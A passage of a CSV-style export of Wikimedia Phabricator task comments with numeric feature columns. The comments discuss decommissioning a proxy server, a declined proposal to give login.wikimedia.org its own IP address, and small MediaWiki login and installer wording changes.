%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%",,,1383959225,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,5.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,4.0,8.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.3544303797468356,0.6329113924050633,"%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
QUOTE
QUOTE
QUOTE
%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%"
378107,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6156 added by dzahn,,,1383957052,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #6156 added by dzahn
378097,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
%%%here are the changes after it's down:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94448/1%%%
%%%https://gerrit.wikimedia.org/r/#/c/94449/1%%%",,,1383955825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,22.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.825,0.625,"%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
%%%here are the changes after it's down:%%%
%%%URL
%%%URL"
378086,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Given to cmjohnson by dzahn//,,,1383955246,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,1.0,//Given to cmjohnson by dzahn//
378076,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'new' to 'open' by RT_System//,,,1383299227,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
378065,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%",,,1383299226,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,9,True,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%"
378053,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6099 added by dzahn,,,1383172815,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #6099 added by dzahn
82877,Move login.wikimedia.org to its own IP address,"%%%login.wikimedia.org should be moved to its own IP address, so that if content%%%
%%%appears on some other wikimedia-lb site (such as meta.wikimedia.org) which is%%%
%%%offensive to government censors, only wikimedia-lb will be blocked, and login%%%
%%%to unrelated projects will continue to be possible.%%%
%%%Also, given the continued failure to implement IPSec (RT #3536), the%%%
%%%login.wikimedia.org IP address should not be geographical, rather it should%%%
%%%point directly to the active backend datacentre.%%%
",Medium,50.0,1377214529,1461852607.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_description,declined,True,c2,2,False,False,False,-1,True,0.5,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,4.0,7.0,0.0,2.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,4.0,1.5,0.5,3.0,0.0,0.0,0.0,1.0,4.5,14.5,2.0,0.0,1.5,7.0,5.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.017543859649123,0.6666666666666667,"%%%login.wikimedia.org should be moved to its own IP address, so that if content%%%
%%%appears on some other wikimedia-lb site (such as meta.wikimedia.org) which is%%%
%%%offensive to government censors, only wikimedia-lb will be blocked, and login%%%
%%%to unrelated projects will continue to be possible.%%%
%%%Also, given the continued failure to implement IPSec (RT #3536), the%%%
%%%login.wikimedia.org IP address should not be geographical, rather it should%%%
%%%point directly to the active backend datacentre.%%%
"
653494,Move login.wikimedia.org to its own IP address,"Everything related to what this ticket is about has changed since it was written, and there was never any movement on it anyways.  If someone still thinks there's a reason to do this (and I don't think there is now), we should re-state the case in the modern context (where HTTPS is used for all, all the projects use the same IPs anyways, and we do have IPSec for inter-dc cache traffic, etc).",,,1461852607,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_subcomment,,True,c2,3,True,,,139,True,3.0,2.0,0.0,2.0,1.0,5.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,3.0,3.0,0.0,8.0,11.0,2.0,1.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,7.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,11.0,4.0,0.0,0.0,0.0,5.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,3.5384615384615383,0.7032967032967034,"Everything related to what this ticket is about has changed since it was written, and there was never any movement on it anyways.  If someone still thinks there's a reason to do this (and I don't think there is now), we should re-state the case in the modern context (where HTTPS is used for all, all the projects use the same IPs anyways, and we do have IPSec for inter-dc cache traffic, etc)."
375432,Move login.wikimedia.org to its own IP address,//AdminCc jeremyb added by jeremyb//,,,1377477806,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
58235,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","User signup during wikimedia installation -> Field is 'Real Name'

While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.

The feild 'Real Name' should be changed to 'username' during installation step.e

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56551

**Attached**: {F11933}",Medium,50.0,1382960160,1383309235.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,,False,PHID-TASK-hxora4fgzw5eiu5i4e32,task_description,resolved,True,c2,3,False,False,True,8,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.5,1.0,6.5,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,14.5,0.5,0.5,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,6.5,9.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.585604472396925,0.6160027952480782,"User signup during wikimedia installation -> Field is 'Real Name'

While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.

The feild 'Real Name' should be changed to 'username' during installation step.e

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
URL

**Attached**: {F11933}"
256199,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 merged by jenkins-bot:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92681",,,1383302481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,14.0,14.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.8275862068965517,"Change 92681 merged by jenkins-bot:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256190,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 abandoned by Bartosz Dziewoński:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Reason:
https://gerrit.wikimedia.org/r/#/c/92681/

https://gerrit.wikimedia.org/r/92682",,,1383160387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,30.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,15.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9696969696969697,0.7575757575757576,"Change 92682 abandoned by Bartosz Dziewoński:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Reason:
URL

GERRIT_URL"
256183,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92682",,,1383160261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,15.0,0.0,12.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8529411764705882,"Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256175,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92681",,,1383160257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,18.0,0.0,12.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8529411764705882,"Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256169,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13631
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Added Pach, changed 'Your name' to 'Your username'

**Attached**: {F11935}",,,1383159649,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,9.0,7.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.6304347826086957,"Created attachment 13631
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Added Pach, changed 'Your name' to 'Your username'

**Attached**: {F11935}"
256160,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","If you would like to create a patch to fix the problem, please read https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Gerrit/Tutorial",,,1382982883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8888888888888888,"If you would like to create a patch to fix the problem, please read URL and URL"
256151,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #2)
> (In reply to comment #0)
> > Created attachment 13598 [details]
> > User signup during wikimedia installation -> Field is 'Real Name'
> 
> Field is ""Your name"" in that screenshot, not ""real name"". 
> Or do I miss something?
> 
> The proposal in this report is basically to change ""Your name"" to ""Your
> username""?

Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.

**Attached**: {F11933}",,,1382974472,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,8,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,2.0,2.0,0.0,8.0,5.0,13.0,0.0,7.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.9344262295081966,0.5737704918032787,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.

**Attached**: {F11933}"
256144,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #0)
> Created attachment 13598 [details]
> User signup during wikimedia installation -> Field is 'Real Name'

Field is ""Your name"" in that screenshot, not ""real name"". 
Or do I miss something?

The proposal in this report is basically to change ""Your name"" to ""Your username""?

**Attached**: {F11933}",,,1382973250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,True,,,8,True,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,6.0,9.0,5.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9696969696969697,0.6363636363636364,"(In reply to comment #0)
QUOTE
QUOTE

Field is ""Your name"" in that screenshot, not ""real name"". 
Or do I miss something?

The proposal in this report is basically to change ""Your name"" to ""Your username""?

**Attached**: {F11933}"
256139,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13599
During login, the field says 'username' which in effect is 'Real Name'

The username is equivallent to the Real Name field in user registeration, which is confusing to the user.

**Attached**: {F11934}",,,1382960276,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.75,0.6153846153846154,"Created attachment 13599
During login, the field says 'username' which in effect is 'Real Name'

The username is equivallent to the Real Name field in user registeration, which is confusing to the user.

**Attached**: {F11934}"
58023,Accessing Special:UserLogin while logged in should have different appearance,"On https://en.m.wikipedia.org/wiki/Special:UserLogin and https://en.wikipedia.org/wiki/Special:UserLogin

When a user is logged in we should add a greeting above the login fields that says 

""Hello, $username!"" to show the user they are already logged in.

The [Sign in] in button should say [Switch Account] and create account should say ""log out""

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1382483340,1386626810.0,PHID-USER-z3kqk2bjnqneldcznht6,True,,False,PHID-TASK-grze4l57o4qcistsnasi,task_description,resolved,True,c2,3,False,False,False,7,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,14.0,1.0,2.0,6.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,2.0,10.0,4.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.5185185185185186,0.6419753086419753,"On URL and URL

When a user is logged in we should add a greeting above the login fields that says 

""Hello, $username!"" to show the user they are already logged in.

The [Sign in] in button should say [Switch Account] and create account should say ""log out""

--------------------------
**Version**: unspecified
**Severity**: normal"
267602,Accessing Special:UserLogin while logged in should have different appearance,"

*** This bug has been marked as a duplicate of bug 56359 ***",,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 56359 ***"
267595,Accessing Special:UserLogin while logged in should have different appearance,"**bingle-admin** wrote:

